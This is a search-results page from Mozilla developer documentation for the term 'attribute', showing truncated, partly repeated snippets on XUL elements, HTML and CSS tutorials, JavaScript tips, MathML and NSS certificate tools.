attribute is set to integer, the rule will only match rdf nodes with a parse type of integer. properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , p...
...And 2 more matches
scrollbar - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] when a container's contents which are larger that the size of the container, scroll bars may be placed at the side of the container to allow the user to scroll around in the container. the scroll bar may also be used independently when a numeric value or percentage needs to be selected by the user. the user can adjust the position of the scroll bar by clicking arrows on either end of the scroll bar or by dragging the scroll bar thumb around. more information is available in the xul tutorial. ...
...d at the side of the container to allow the user to scroll around in the container. the scroll bar may also be used independently when a numeric value or percentage needs to be selected by the user. the user can adjust the position of the scroll bar by clicking arrows on either end of the scroll bar or by dragging the scroll bar thumb around. more information is available in the xul tutorial.
attributes curpos, increment, maxpos, pageincrement examples <scrollbar curpos="5" maxpos="50"/>
attributes curpos type: integer the current position of the scrollbar, which ranges from 0 to the value of the maxpos
attribute. the default value is 0. increment type: integer the amount by which the curpos (for scroll bars) or value (for number boxes and scale) attribu...
...the default value is 10. ...
...And 2 more matches
separator - Archive of obsolete content
note that the values are the reverse of what seems more likely. horizontal the separator separates vertically placed elements. ...
...note that the values are the reverse of what seems more likely. horizontal the separator separates vertically placed elements. ...
... related ] creates a small separating gap between elements. this type of separator should be used to separate parts of a dialog. it doesn't draw a bar visually, but is just a small space. it is functionally equivalent to a spacer except it defaults to a small size (usually 1.5 ems).
attributes orient style classes groove, groove-thin, thin examples <separator class="groove-thin"/>
attributes orient type: one of the values below used to specify whether the separator is a horizontal or vertical separator. note that the values are the reverse of what seems more likely. horizontal the separator separates vertically placed elements. vertical the separator separates horizontally placed elements. inherited from xul element align, allowevents, allownegativeas...
...And 2 more matches
stack - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] an element that renders its children on top of each other. the first element is placed on the bottom and each successive child is placed above the previous. all elements are displayed at once. child elements may also be placed at absolute positions within the stack. the top, right, bottom, and left
attributes on a child of the stack specify the position of that element. the bottom and right
attributes can also be used in conjunction with top and left to set the width and/or height of the children of the stack. note that bottom and right
attributes, unlike rect, are relative to the bottom and right of the stack. ...
...sitions within the stack. the top, right, bottom, and left
attributes on a child of the stack specify the position of that element. the bottom and right
attributes can also be used in conjunction with top and left to set the width and/or height of the children of the stack. note that bottom and right
attributes, unlike rect, are relative to the bottom and right of the stack. when using these
attributes to set width or height, both
attributes for the given axis must be explicitly set, eg, if setting width, both "left" and "right" must be set. in some case, setting the width or height this way may even be necessary because using the width/height
attributes (eg, "width", "minwidth" and "maxwidth") inside a stack can sometimes produce unpredictable and undesireable results. more information is a...
...lhello/skin/stack-bg.png" flex="1"left="10"right="10" top="10" bottom="10"/> </hbox> <hbox> <!-- some content here. --> </hbox> </stack> in this example, the resulting width of the top-most hbox will be 400px (600px - 200px - 0) : <stack width="600"> <hbox flex="1"> <!-- content --> </hbox> <hbox left="0" right="200" > <!-- some content here. ...
...And 2 more matches
titlebar - Archive of obsolete content
this element can't be used to change the platform-native titlebar of normal windows; instead, it's used to create custom titlebars for chromeless windows. if the titlebar is in a panel element, dragging it will move the panel. elements inside the titlebar usually don't receive any mouse events, so e.g. buttons inside it can't be clicked and textboxes can't be focused with the mouse. if you don't want this behavior, you can override it by setting allowevents="true" on the titlebar element. ...
...none;"> <titlebar flex="1" oncommand="close()" style="background: rgba(30, 30, 30, 0.9); -moz-border-radius: 10px; -moz-box-shadow: 0 1px 8px rgba(0, 0, 0, 0.8); margin: 8px 12px 16px;"/> </window> it can be opened from the error console like this: open("file:///users/markus/sites/hudwindow.xul", "", "chrome=1, titlebar=0")
attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...And 2 more matches
treechildren - Archive of obsolete content
you can use the :-moz-tree-row css style to do this instead. ...
...you can use the :-moz-tree-row css style to do this instead. ...
...you can use the :-moz-tree-row css style to do this instead. ...
...And 2 more matches
treerow - Archive of obsolete content
for more information, see styling a tree. ...
...for more information, see styling a tree. ...
...for more information, see styling a tree. ...
...And 2 more matches
triple - Archive of obsolete content
the subject of a triple is an rdf resource. in an rdf file this would usually be an rdf description element. the predicate would be a child element or property. for example, for a bookmark resource, the name and url would be predicates. they should be specified in their full uri form. the object is the value of the rdf property. ...
... the subject of a triple is an rdf resource. in an rdf file this would usually be an rdf description element. the predicate would be a child element or property. for example, for a bookmark resource, the name and url would be predicates. they should be specified in their full uri form. the object is the value of the rdf property. ...
...e variables. the subject of a triple is an rdf resource. in an rdf file this would usually be an rdf description element. the predicate would be a child element or property. for example, for a bookmark resource, the name and url would be predicates. they should be specified in their full uri form. the object is the value of the rdf property. more information is available in the xul tutorial.
attributes object, predicate, subject examples (example needed)
attributes object type: string the object of the element. it can be a variable reference, an rdf resource uri, or an rdf literal value. predicate type: uri the predicate or property to match. this must be a uri of the property. subject type: string the subject of the element. it can be a variable reference or an ...
...And 2 more matches
where - Archive of obsolete content
otherwise, the default value is false, to indicate that the value should match with the same case. ...
...otherwise, the default value is false, to indicate that the value should match with the same case. ...
...otherwise, the default value is false, to indicate that the value should match with the same case. multiple type: boolean set to true to indicate that the value contains multiple values separated by commas. any of the values may match. ...
...And 2 more matches
Theme changes in Firefox 4 - Archive of obsolete content
owser/skin contains application-specific skin resource files. /chrome/toolkit/skin contains toolkit skin files. note: when extracting omni.jar, you may incorrectly get false warnings from some virus protection software. in addition, due to the way the archive is optiimized, some zip utilities don't work with it. ...
... it. controlling the actual icon size used by add-on toolbar buttons the iconsize
attribute of the browser's toolbar elements now has a different default value on each toolbar independently. the value does not necessarily reflect the user preference in the toolbar customization palette anymore. the theme can now override the value by setting a special css property on the toolbar. the iconsize
attribute of the toolbox element in the main browser window (#navigator-toolbox) still reflects the user preference in the toolbar customization palette. use of the iconsize
attribute on toolbar elements add-ons use the iconsize
attribute to determine which icon they should display when a button is placed in a specific toolbar. iconsize value actual add-on toolbar button icon dimensions (ass...
...ages) small 16x16 pixels large 24x24 pixels note: for stock buttons, the theme is free to use icons of any size. however, the theme should be designed in such a way that the above add-on button icon sizes fit correctly. note: add-ons always use a 24x24 pixels icon when the button is displayed in the toolbar customization palette. default values of the iconsize
attribute on browser toolbars if the theme doesn't override the value of the iconsize
attribute, the following defaults are used: toolbar element id default iconsize value menu bar #toolbar-menubar small navigation bar #nav-bar small or large depending on user preference. bookmarks toolbar #personaltoolbar small tab bar #tabstoolbar ...
...And 2 more matches
XForms Range Element - Archive of obsolete content
introduction allows the user to choose a value from within a specific range of values (see the spec).
attributes ui common appearance - isn't supported. accesskey - used to specify the keyboard shortcut for focusing this control. single-node binding special incremental - supported, default value is false start - lower bound of possible values end - upper bound of possible values step - is used for incrementing/decrementing values start/end/step
attributes if the value of the bound instance node is outside the range of values specified by the start and end
attributes, then the range element receives a xforms-out-of-range event. if the bound value then becomes in range, the range element receives a xforms-in-range event. start specifies the lower bound of possible values, i.e. val...
...step specifies the step of incrementing/decrementing values. ...
...ttributes if the value of the bound instance node is outside the range of values specified by the start and end
attributes, then the range element receives a xforms-out-of-range event. if the bound value then becomes in range, the range element receives a xforms-in-range event. start specifies the lower bound of possible values, i.e. values can't be less than the value of this
attribute. if this
attribute is omitted, then it is assumed to be 0. end specifies the upper bound of possible values, i.e. values can't be greater than the value of this
attribute. if this
attribute is omitted, then it is assumed to be the value of start + 20. ...
...And 2 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
ata (either primitive or object depending upon the language). arrays are used to store multiple values in a single variable. this is compared to a variable that can store only one value. 24 asynchronous glossary, web, webmechanics, asynchronous the term asynchronous refers to or multiple related things happening without waiting for the previous one to complete). 25
attribute codingscripting, glossary, html an
attribute extends an element, changing its behavior or providing metadata. 26 bandwidth glossary, infrastructure bandwidth is the measure of how much information can pass through a data connection in a given amount of time. it is usually measured in multiples of bits-per-second (bps), for example megabits-per-second (mbps) or gigab...
... actual connection is tethered broadband or wifi, based on the time between the browser requesting a page and effective type of the connection. 127 element codingscripting, glossary, html an element is a part of a webpage. in xml and html, an element may contain a data item or a chunk of text or an image, or perhaps nothing. a typical element includes an opening tag with some
attributes, enclosed text content, and a closing tag. 128 empty element codingscripting, glossary, intermediate an empty element is an element from html, svg, or mathml that cannot have any child nodes (i.e., nested elements or text nodes). 129 encapsulation codingscripting, glossary encapsulation is the packing of data and functions into one component (for example...
...s a term used to describe the modern state of web app development. this involves taking standard web sites/apps that enjoy all the best parts of the web — such as discoverability via search engines, being linkable via urls, and working across multiple form factors — and supercharging them with modern apis (such as service workers and push) and features that confer other benefits more commonly
attributed to native apps. 335 promise glossary, promise, promises, asynchronous a promise is an object that's returned by a function that has not yet completed its work. the promise literally represents a promise made by the function that it will eventually return a result through the promise object. 336 property disambiguation, glossary the term property can have...
...And 2 more matches
CSS selectors - Learn web development
s, and knowing which type of selector you might need will help you to find the right tool for the job. in this article's subarticles we will look at the different groups of selectors in more detail. type, class, and id selectors this group includes selectors that target an html element such as an <h1>. ...
...articles we will look at the different groups of selectors in more detail. type, class, and id selectors this group includes selectors that target an html element such as an <h1>. h1 { } it also includes selectors which target a class: .box { } or, an id: #unique { }
attribute selectors this group of selectors gives you different ways to select elements based on the presence of a certain
attribute on an element: a[title] { } or even make a selection based on the presence of an
attribute with a particular value: a[href="https://example.com"] { } pseudo-classes and pseudo-elements this group of selectors includes pseudo-classes, which style certain states of an element. the :hover pseudo-class for example selects an element only when it is being hovered over by the mouse pointer: a:hov...
...ome back to when you need to look up selectors later in the material, or as you experiment with css generally. ...
...And 2 more matches
CSS FAQ - Learn web development
u should just use the html5 doctype. why doesn't my css, which is valid, render at all? here are some possible causes: you've got the path to css file wrong. to be applied, a css stylesheet must be served with a text/css mime type. if the web server doesn't serve it with this type, it won't be applied. what is the difference between id and class? html elements can have an id and/or class
attribute. the id
attribute assigns a name to the element it is applied to, and for valid markup, there can be only one element with that name. the class
attribute assigns a class name to the element, and that name can be used on many elements within the page. css allows you to apply styles to particular id and/or class names. use a class-specific style when you want to apply the styling rules to many b...
...nother. (see eric meyer's note about the working group's stance). however, assigning multiple classes to a single element can provide the same effect, and css variables now provide a way to define style information in one place that can be reused in multiple places. how do i assign multiple classes to an element? html elements can be assigned multiple classes by listing the classes in the class
attribute, with a blank space to separate them. <style type="text/css"> .news { background: black; color: white; } .today { font-weight: bold; } </style> <div class="news today"> ... content of today's news ... </div> if the same property is declared in both rules, the conflict is resolved first through specificity, then according to the order of the css declarations. the order of classes in the class ...
..., with a blank space to separate them. <style type="text/css"> .news { background: black; color: white; } .today { font-weight: bold; } </style> <div class="news today"> ... content of today's news ... </div> if the same property is declared in both rules, the conflict is resolved first through specificity, then according to the order of the css declarations. the order of classes in the class
attribute is not relevant. why don't my style rules work properly? style rules that are syntactically correct may not apply in certain situations. you can use dom inspector's css style rules view to debug problems of this kind, but the most frequent instances of ignored style rules are listed below. html elements hierarchy the way css styles are applied to html elements depends also on the elements hie...
...And 2 more matches
Styling lists - Learn web development
, and outside). if both a type and an image are specified, the type is used as a fallback if the image can't be loaded for some reason. controlling list counting sometimes you might want to count differently on an ordered list — e.g. starting from a number other than 1, or counting backwards, or counting in steps of more than 1. html and css have some tools to help you here. start the start
attribute allows you to start the list counting from a number other than 1. the following example: <ol start="4"> <li>toast pita, leave to cool, then slice down the edge.</li> <li>fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li> <li>wash and chop the salad.</li> <li>fill pita with salad, hummus, and fried halloumi.</li> </ol> gives you this output: reversed the ...
...ou to start the list counting from a number other than 1. the following example: <ol start="4"> <li>toast pita, leave to cool, then slice down the edge.</li> <li>fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li> <li>wash and chop the salad.</li> <li>fill pita with salad, hummus, and fried halloumi.</li> </ol> gives you this output: reversed the reversed
attribute will start the list counting down instead of up. the following example: <ol start="4" reversed> <li>toast pita, leave to cool, then slice down the edge.</li> <li>fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li> <li>wash and chop the salad.</li> <li>fill pita with salad, hummus, and fried halloumi.</li> </ol> gives you this output: note: if there are mo...
...the following example: <ol> <li value="2">toast pita, leave to cool, then slice down the edge.</li> <li value="4">fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li> <li value="6">wash and chop the salad.</...
...And 2 more matches
How to structure a web form - Learn web development
he different parts of a form. prerequisites: basic computer literacy, and a basic understanding of html. objective: to understand how to structure html forms and give them semantics so they are usable and accessible. the flexibility of forms makes them one of the most complex structures in html; you can build any kind of basic form using dedicated form elements and
attributes. using correct structure when building an html form will help ensure that the form is both usable and accessible. the <form> element the <form> element formally defines a form and
attributes that determine the form's behavior. each time you want to create an html form, you must start it by using this element, nesting all the contents inside. many assistive technologies and browser plugins can ...
...o use. we already met this in the previous article. warning: it's strictly forbidden to nest a form inside another form. nesting can cause forms to behave in an unpredictable manner, so it is a bad idea. it's always possible to use a form control outside of a <form> element. if you do so, by default that control has nothing to do with any form unless you associate it with a form using the form
attribute. this was introduced to let you explicitly bind a control with a form even if it is not nested inside it. let's move forward and cover the structural elements you'll find nested in a form. the <fieldset> and <legend> elements the <fieldset> element is a convenient way to create groups of widgets that share the same purpose, for styling and semantic purposes. you can label a <fieldset> by inclu...
...u want to build accessible forms — when implemented properly, screenreaders will speak a form element's label along with any related instructions, as well as it being useful for sighted users. take this example, which we saw in the previous article: <label for="name">name:</label> <input type="text" id="name" name="user_name"> with the <label> associated correctly with the <input> via its for
attribute (which contains the <input> element's id
attribute), a screenreader will read out something like "name, edit text". there is another way to associate a form control with a label — nest the form control within the <label>, implicitly associating it. <label for="name"> name: <input type="text" id="name" name="user_name"> </label> even in such cases however, it is considered best practice to ...
...And 2 more matches
Add a hitmap on top of an image - Learn web development
time of writing) illustrates the problem perfectly. it’s much easier to tap russia or north america than albania or estonia. you insert your image much the same way as always (with an <img> element and alt text). if the image is only present as a navigation device, you may write alt="", provided you furnish appropriate alt text in the <area> elements later on. you will need a special usemap
attribute. ...
...much the same way as always (with an <img> element and alt text). if the image is only present as a navigation device, you may write alt="", provided you furnish appropriate alt text in the <area> elements later on. you will need a special usemap
attribute. come up with a unique name, containing no spaces, for your image map. then assign that name (preceded by a hash) as the value for the usemap
attribute: <img src="image-map.png" alt="" usemap="#example-map-1" /> step 2: activate your hotspots in this step, put all your code inside a <map> element. <map> only needs one
attribute, the same map name as you used in your usemap
attribute above: <map name="example-map-1"> </map> inside the <map> element, we need <area> elements. an <area> element corresponds to a single hotspot. to keep ke...
...(a default <area> occupies the entire image, minus any other hotspots you’ve defined.) the shape you choose determines the coordinate information you’ll need to provide in coords. for a circle, provide the center's x and y coordinates, followed by the length of the radius. ...
...And 2 more matches
Creating hyperlinks - Learn web development
u can try to deal with it later on). for example, the bbc homepage contains a many links that point not only to multiple news stories, but also different areas of the site (navigation functionality), login/registration pages (user tools), and more. anatomy of a link a basic link is created by wrapping the text or other content, see block level links, inside an <a> element and using the href
attribute, also known as a hypertext reference, or target, that contains the web address. <p>i'm creating a link to <a href="https://www.mozilla.org/">the mozilla homepage</a>. </p> this gives us the following result: i'm creating a link to the mozilla homepage. adding supporting information with the title
attribute another
attribute you may want to add to your links is title. the title contains addit...
...sent it in a manner that will be accessible to all users, for example by putting it in the regular text. active learning: creating your own example link create an html document using your local code editor and our getting started template. inside the html body, add one or more paragraphs or other types of content you already know about. change some of the content into links. include title
attributes. block level links as mentioned before, almost any content can be made into a link, even block-level elements. if you have an image you want to make into a link, use the <a> element and reference the image file with the <img> element. <a href="https://www.mozilla.org/"> <img src="mozilla-image.png" alt="mozilla logo that links to the mozilla homepage"> </a> note: you'll find out more abo...
...f="../pdfs/project-brief.pdf">project brief</a>.</p> note: you can combine multiple instances of these features into complex urls, if needed, for example: ../../../complex/path/to/my/file.html. document fragments it's possible to link to a specific part of an html document, known as a document fragment, rather than just to the top of the document. to do this you first have to assign an id
attribute to the element you want to link to. it normally makes sense to link to a specific heading, so this would look something like the following: <h2 id="mailing_address">mailing address</h2> then to link to that specific id, you'd include it at the end of the url, preceded by a hash/pound symbol (#), for example: <p>want to write us a letter? use our <a href="contacts.html#mailing_address">mailing ...
...And 2 more matches
HTML table basics - Learn web development
y partially answered this question — it is easier to find the data you are looking for when the headers clearly stand out, and the design just generally looks better. note: table headings come with some default styling — they are bold and centered even if you don't add your own styling to the table, to help them stand out. tables headers also have an added benefit — along with the scope
attribute (which we'll learn about in the next article), they allow you to make tables more accessible by associating each header with all the data in the same row or column. screenreaders are then able to read out a whole row or column of data at once, which is pretty useful. allowing cells to span multiple rows and columns sometimes we want cells to span multiple rows or columns. take the following sim...
...oesn't give us quite what we want: animals hippopotamus horse mare stallion crocodile chicken hen rooster we need a way to get "animals", "hippopotamus", and "crocodile" to span across two columns, and "horse" and "chicken" to span downwards over two rows. fortunately, table headers and cells have the colspan and rowspan
attributes, which allow us to do just those things. both accept a unitless number value, which equals the number of rows or columns you want spanned. for example, colspan="2" makes a cell span two columns. let's use colspan and rowspan to improve this table. first, make a local copy of our animals-table.html and minimal-table.css files in a new directory on your local machine. the html contains the sam...
...td> </tr> </table> effectively we are defining two "style columns", one specifying styling information for each column. we are not styling the first column, but we still have to include a blank <col> element — if we didn't, the styling would just be applied to the first column. if we wanted to apply the styling information to both columns, we could just include one <col> element with a span
attribute on it, like this: <colgroup> <col style="background-color: yellow" span="2"> </colgroup> just like colspan and rowspan, span takes a unitless number value that specifies the number of columns you want the styling to apply to. active learning: colgroup and col now it's time to have a go yourself. below you can see the timetable of a languages teacher. on friday she has a new class teaching ...
...And 2 more matches
What is JavaScript? - Learn web development
s version of our demo below. this demo has exactly the same functionality as in the previous two sections, except that the <button> element includes an inline onclick handler to make the function run when the button is pressed. please don't do this, however. it is bad practice to pollute your html with javascript, and it is inefficient — you'd have to include the onclick="createparagraph()"
attribute on every button you want the javascript to apply to. using a pure javascript construct allows you to select all the buttons using one instruction. the code we used above to serve this purpose looks like this: const buttons = document.queryselectorall('button'); for(let i = 0; i < buttons.length ; i++) { buttons[i].addeventlistener('click', createparagraph); } this might be a bit longer than...
...ton you want the javascript to apply to. using a pure javascript construct allows you to select all the buttons using one instruction. the code we used above to serve this purpose looks like this: const buttons = document.queryselectorall('button'); for(let i = 0; i < buttons.length ; i++) { buttons[i].addeventlistener('click', createparagraph); } this might be a bit longer than the onclick
attribute, but it will work for all buttons — no matter how many are on the page, nor how many are added or removed. the javascript does not need to be changed. note: try editing your version of apply-javascript.html and add a few more buttons into the file. when you reload, you should find that all of the buttons when clicked will create a paragraph. neat, huh? script loading strategies there are a...
... event listener, which listens for the browser's "domcontentloaded" event, which signifies that the html body is completely loaded and parsed. the javascript inside this block will not run until after that event is fired, therefore the error is avoided (you'll learn about events later in the course). in the external example, we use a more modern javascript feature to solve the problem, the defer
attribute, which tells the browser to continue downloading the html content once the <script> tag element has been reached. <script src="script.js" defer></script> in this case both the script and the html will load simultaneously and the code will work. note: in the external case, we did not need to use the domcontentloaded event because the defer
attribute solved the problem for us. we didn't use the...
...And 2 more matches
HTML performance features - Learn web development
too large, or when a webpage is not optimized for mobile devices. this module intends to walk you through the key html performance features that can drastically improve the quality of your webpage. prerequisites: basic computer literacy, basic software installed, and basic knowledge of client-side web technologies. ...
...es. this module intends to walk you through the key html performance features that can drastically improve the quality of your webpage. prerequisites: basic computer literacy, basic software installed, and basic knowledge of client-side web technologies. objective: to learn about the impact of html elements and
attributes on web performance optimization. ...
...of your webpage. prerequisites: basic computer literacy, basic software installed, and basic knowledge of client-side web technologies. objective: to learn about the impact of html elements and
attributes on web performance optimization. ...
...And 2 more matches
Multimedia: Images - Learn web development
ee them as soon as possible for a good experience. loading strategy one of the biggest improvements to most websites is lazy-loading images beneath-the-fold, rather than downloading them all on initial page load regardless of whether a visitor scrolls to see them or not. many javascript libraries can implement this for you, such as lazysizes, and browser vendors are working on a native lazyload
attribute that is currently in the experimental phase. beyond loading a subset of images, next you should look into the format of the images themselves: are you loading the most optimal file formats? have you compressed the images well? are you loading the correct sizes? the most optimal format the optimal file format typically depends on the character of the image. the less colors an image has a...
...) or av1 still image file format (avif). given the narrow support for jpeg-xr and jpeg2000, and also taking decode costs into the equation, the only serious contender for jpeg today is webp. which is why you could consider offering your images in that flavor, too, for the browsers that support it. this can be done via the <picture> element with the help of a <source> element equipped with a type
attribute. if all of this sounds a bit complicated or feels like too much work for your team then there is also online services that you can use as image cdns that will automate the serving of the correct image format on-the-fly, according to the type of device or browser requesting the image. the biggest ones are cloudinary and image engine. and finally, should you want to include animated images into y...
...resolution and vis-versa for larger screens. on top of that you'd also want to serve higher resolution images to those devices that boast a high dpi screen (e.g. "retina"). so apart from creating plenty of intermediate image variants you also need a way to serve the right file to the right browser. that's where you would need to upgrade your <picture> and <source> elements with media and/or sizes
attributes. a detailed article on how to combine all of these
attributes can be found here. two interesting effects to keep in mind regarding high dpi screens is that: with high dpi screen, humans will spot compression artifacts a lot later, meaning that for images meant for these screens you can crank up compression beyond usual. only a very few people can spot an increase in resolution beyond 2× d...
...And 2 more matches
Mozilla’s UAAG evaluation report
content according to specification. (p1) vg renders html, css, and a number of graphic image formats. does not contradict current specifications for html and css rendering. 2.2 provide text view. (p1) c also known as view source. 2.3 render conditional content. (p1) vg alt for img: rendered when images turned off. see meta bug 41924 for open issues with the alt
attribute. ...
...a ui for this would be good. ...
...ould be good. 2.4 allow time-independent interaction. (p1) nr need to look into this 2.5 make captions, transcripts available. (p1) na this relates to multimedia players 2.6 respect synchronization cues. (p1) na this relates to multimedia players 2.7 repair missing content. (p2) p no alt repair strategies in place. reasons: the title
attribute is almost never present when the alt isn't. in the rare cases where it is, it is of no help (typically it's just the filename, maybe with a file size). also, in the overwhelming majority of cases, the filename is unintelligible. developers interested in this problem can look at the getalternatetext() method -- see the cvs history for suggestions. we consider this to be a very difficult problem. ...
...And 2 more matches
Message manager overview
ames, in all content tabs. if you load a frame script using the global frame message manager, the script gets loaded separately into every open tab: three times, in the diagram above. similarly, if you send a message using the global frame message manager, it's received by all content tabs, and is then delivered to any frame scripts that are listening for it. ...
...message manager for every browser window: two, in the diagram above. it operates on all content tabs in a given window. if you load a frame script using the window message manager it gets loaded separately into each tab open in that particular window. if you send a message using the window message manager, it gets sent to all content tabs in that window. ...
...nd messages from chrome message managers end up here. the content frame message manager provides the global object for frame scripts (but note that there is trickery to ensure that top-level variables defined by frame scripts are not shared). frame scripts can use this object to send messages to the chrome process, and to receive messages from the chrome process. ...
...And 2 more matches
Chrome-only CSS reference
rties exposed to the web in general are also usable in chrome stylesheets: see the css documentation for a list of these. -moz-window-draggingthe -moz-window-dragging css property specifies whether a window is draggable or not. ...
...moz-lwtheme-brighttextthe :-moz-lwtheme-brighttext pseudo-class matches in chrome documents when :-moz-lwtheme is true and a lightweight theme with a bright text color is selected.:-moz-lwtheme-darktextthe :-moz-lwtheme-darktext pseudo-class matches in chrome documents when :-moz-lwtheme is true and a lightweight theme with a dark text color is selected.::-moz-tree-cellactivated by the properties
attribute.::-moz-tree-cell-textactivated by the properties
attribute.::-moz-tree-cell-text(hover)the :-moz-tree-cell-text(hover) css pseudo-class will match an element if the mouse cursor is presently hovering over text in a tree cell.::-moz-tree-columnactivated by the properties
attribute.::-moz-tree-drop-feedbackactivated by the properties
attribute.::-moz-tree-imageactivated by the properties
attribute.
...ttribute.::-moz-tree-cell-text(hover)the :-moz-tree-cell-text(hover) css pseudo-class will match an element if the mouse cursor is presently hovering over text in a tree cell.::-moz-tree-columnactivated by the properties
attribute.::-moz-tree-drop-feedbackactivated by the properties
attribute.::-moz-tree-imageactivated by the properties
attribute.::-moz-tree-indentationactivated by the properties
attribute.::-moz-tree-lineactivated by the properties
attribute.::-moz-tree-progressmeteractivated when the type
attribute is set to progressmeter. ::-moz-tree-rowthe ::-moz-tree-row css pseudo-element is used to select rows and apply styles to tree rows.::-moz-tree-row(hover)the ::-moz-tree-row(hover) css pseudo-class will match an element if the mouse cursor is presently hovering over a tree row.::-m...
...And 2 more matches
HTML parser threading
tree ops have been moved to the staging queue, the nsirunnable held in mexecutorflusher is dispatched to the main thread. (the same runnable is used repeatedly in order to avoid cross-thread refcounting issues.) memory management when crossing the thread boundary the tree ops hold various heap-allocated objects that end up crossing the thread boundary. ...
...e staging queue, the nsirunnable held in mexecutorflusher is dispatched to the main thread. (the same runnable is used repeatedly in order to avoid cross-thread refcounting issues.) memory management when crossing the thread boundary the tree ops hold various heap-allocated objects that end up crossing the thread boundary. ...
...me runnable is used repeatedly in order to avoid cross-thread refcounting issues.) memory management when crossing the thread boundary the tree ops hold various heap-allocated objects that end up crossing the thread boundary. these objects are memory managed as follows:
attribute holders (nshtml5html
attributes objects) are allocated using new by the tokenizer. ...
...And 2 more matches
JavaScript Tips
(components.interfaces.nsisupports)) return this; throw components.results.ns_nointerface; }, observe: function observe(asubject, atopic, astate) { } } when declaring xpcom methods, try to use the same names for method parameters as are used in the interface definition. dom elements dom elements are just xpcom objects with some of the interfaces precached. don't call get
attribute to see if an
attribute exists, call has
attribute instead. prefer to loop through childnodes rather than using first/lastchild with next/previoussibling. but prefer haschildnodes() to childnodes.length > 0. similarly prefer document.getelementsbytagname(atag).item(0) != null to document.getelementsbytagname(atag).length > 0. prefer to use localname rather than tagname. xul elements have many of...
...ee if an
attribute exists, call has
attribute instead. prefer to loop through childnodes rather than using first/lastchild with next/previoussibling. but prefer haschildnodes() to childnodes.length > 0. similarly prefer document.getelementsbytagname(atag).item(0) != null to document.getelementsbytagname(atag).length > 0. prefer to use localname rather than tagname. xul elements have many of the
attributes mapped to properties. ...
...ents have many of the
attributes mapped to properties. this was done for a reason, so use them! ...
...And 2 more matches
Extras
mathml extras this is a technology demonstration of some of the extras in mozilla but not defined in the mathml spec, and not prevented by the spec either. they are not portable and are meant to showcase a few interesting upshots from building natively upon the browser environment. other renderers are expected to ignore
attributes that they don't understand while the behavior of undefined elements is well, undefined. ...
...ogy demonstration of some of the extras in mozilla but not defined in the mathml spec, and not prevented by the spec either. they are not portable and are meant to showcase a few interesting upshots from building natively upon the browser environment. other renderers are expected to ignore
attributes that they don't understand while the behavior of undefined elements is well, undefined. ...
...h="30px" height="30px"> <defs> <radialgradient id="radgrad1" cx="50%" cy="50%" r="50%" fx="50%" fy="50%"> <stop offset="0%" style="stop-color:rgb(255,255,255); stop-opacity:1;"/> <stop offset="100%" style="stop-color:rgb(255,0,0); stop-opacity:.8;"/> </radialgradient> </defs> <g transform="translate(15,15)"> <g> <animatetransform
attributename="transform"
attributetype="xml" type="rotate" from="360" to="0" dur="15s" repeatcount="indefinite"/> <g transform="translate(-15, -15)"> <path fill="url(#radgrad1)" d="m 15 0 l 20 10 l 30 15 l 20 20 l 15 30 l 10 20 l 0 15 l 10 10"/> </g> </g> </g> </sv...
...And 2 more matches
NSS functions
.4 and later cert_findcertissuer mxr 3.3 and later cert_findkeyusageextension mxr 3.4 and later cert_findsmimeprofile mxr 3.2 and later cert_findsubjectkeyidextension mxr 3.7 and later cert_findusercertbyusage mxr 3.4 and later cert_findusercertsbyusage mxr 3.4 and later cert_finishcertificaterequest
attributes mxr 3.10 and later cert_finishextensions mxr 3.5 and later cert_formatname mxr 3.2 and later cert_freedistnames mxr 3.2 and later cert_freenicknames mxr 3.2 and later cert_getavatag mxr 3.2 and later cert_getcertchainfromcert mxr 3.4 and later cert_getcertemailaddress mxr 3.2 and later ...
...if you need to verify for multiple usage...
... 3.2 and later pk11_pubunwrapsymkey mxr 3.2 and later pk11_pubunwrapsymkeywithflags mxr 3.6 and later pk11_pubunwrapsymkeywithflagsperm mxr 3.9 and later pk11_pubwrapsymkey mxr 3.2 and later pk11_randomupdate mxr 3.2 and later pk11_readraw
attribute mxr 3.9.2 and later pk11_referencesymkey mxr 3.2 and later pk11_resettoken mxr 3.4 and later pk11_restorecontext mxr 3.2 and later pk11_savecontext mxr 3.2 and later pk11_savecontextalloc mxr 3.6 and later pk11_setfortezzahack ...
...And 2 more matches
NSS tools : certutil
sa key. ids are displayed in hexadecimal ("0x" is not shown). -l list all the certificates, or display information about a named certificate, in a certificate database. use the -h tokenname argument to specify the certificate database on a particular hardware or software token. -m modify a certificate's trust
attributes using the values of the -t argument. -n create new certificate and key databases. -o print the certificate chain. -r create a certificate request file that can be submitted to a certificate authority (ca) for processing into a finished certificate. output defaults to standard out unless you use -o outp...
...s you use -o output-file argument. use the -a argument to specify ascii output. -s create an individual certificate and add it to a certificate database. -t reset the key database or token. -u list all available modules or print a single named module. -v check the validity of a certificate and its
attributes. -w change the password to a key database. --merge merge two databases into one. --upgrade-merge upgrade an old database and merge it into a new database. this is used to migrate legacy nss databases (cert8.db and key3.db) into the newer sqlite databases (cert9.db and key4.db). arguments arguments mod...
...encoding when listing information about that certificate with the -l option. -s subject identify a particular certificate owner for new certificates or certificate requests. bracket this string with quotation marks if it contains spaces. the subject identification format follows rfc #1485. ...
...And 2 more matches
JS_GetPropertyAttrsGetterAndSetter
obsolete since jsapi 26this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. retrieve the
